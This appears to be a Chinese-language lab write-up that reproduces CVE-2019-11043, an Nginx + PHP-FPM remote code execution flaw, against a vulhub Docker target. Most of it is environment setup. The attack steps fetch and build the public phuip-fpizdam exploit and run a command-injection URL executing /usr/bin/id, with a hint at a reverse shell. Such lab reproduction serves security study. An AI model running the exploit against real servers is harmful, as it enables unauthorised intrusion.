是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。
该漏洞需要在nginx.conf中进行特定配置才能触发
CVE-2019-11043
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本
实验环境
攻击机:kali 2020.2
靶机:CentOS Linux7
项目地址:
https://github.com/vulhub/vulhub
基础环境搭建
安装docker
curlhttps://download.docker.com/linux/centos/docker-ce.repo-o/etc/yum.repos.d/docker-ce.repo
yuminstallhttps://download.docker.com/linux/fedora/30/x86_64/stable/Packages/containerd.io-1.2.6-3.3.fc30.x86_64.rpm
yuminstalldocker-ce
systemctl start docker
更换镜像源
vi/etc/docker/daemon.json
修改文件内容,镜像源地址可以用阿里云的镜像地址,百度的镜像源会有一个包下载很慢。自己登陆阿里云获取
{
"registry-mirrors":["https://xxxxx.mirrors.aliyun.com"]
}
保存退出之后,重新加载配置,重启docker
systemctldaemon-reload
systemctl restart docker
摘取镜像
dockerpullbusybox
成功打印出“hello world“说明配置成功
dockerrunbusyboxecho“helloworld”
到此docker配置完成
接下来部署实验环境
实验环境搭建
项目地址
https://github.com/vulhub/vulhub
下载后上传至任意目录,进入目录
/vulhub-master/vulhub-master/php/CVE-2019-11043
启动docker编译
docker-composeup-d
PS
很多人pip装不上,这里的方法亲测有效;
yuminstall-ypython38
wgethttps://bootstrap.pypa.io/get-pip.py
sudopython3get-pip.py
pip-version
pip install docker-compose
litbaiZhang
启动环境之后,就可以看到漏洞环境的默认页面。在此为http://127.0.0.1:8080/index.php
复现步骤
首先kali安装go环境
wget -c https://storage.useso.com/golang/go1.13.3.linux-amd64.tar.gz
tar -C /usr/local -xzf go1.13.3.linux-amd64.tar.gz
export PATH=$PATH:/usr/local/go/bin
vim 编辑/etc/profile
文件最后加上export PATH=$PATH:/usr/local/go/bin
执行 source /etc/profile 命令 就安装成功了
下载github上公开的exp
go get github.com/neex/phuip-fpizdam
然后编译
go install github.com/neex/phuip-fpizdam
使用exp攻击demo网站
http://192.168.91.133:8080/index.php?a=/usr/bin/id
攻击成功
还可以进行shell反弹,感兴趣的可以深入研究!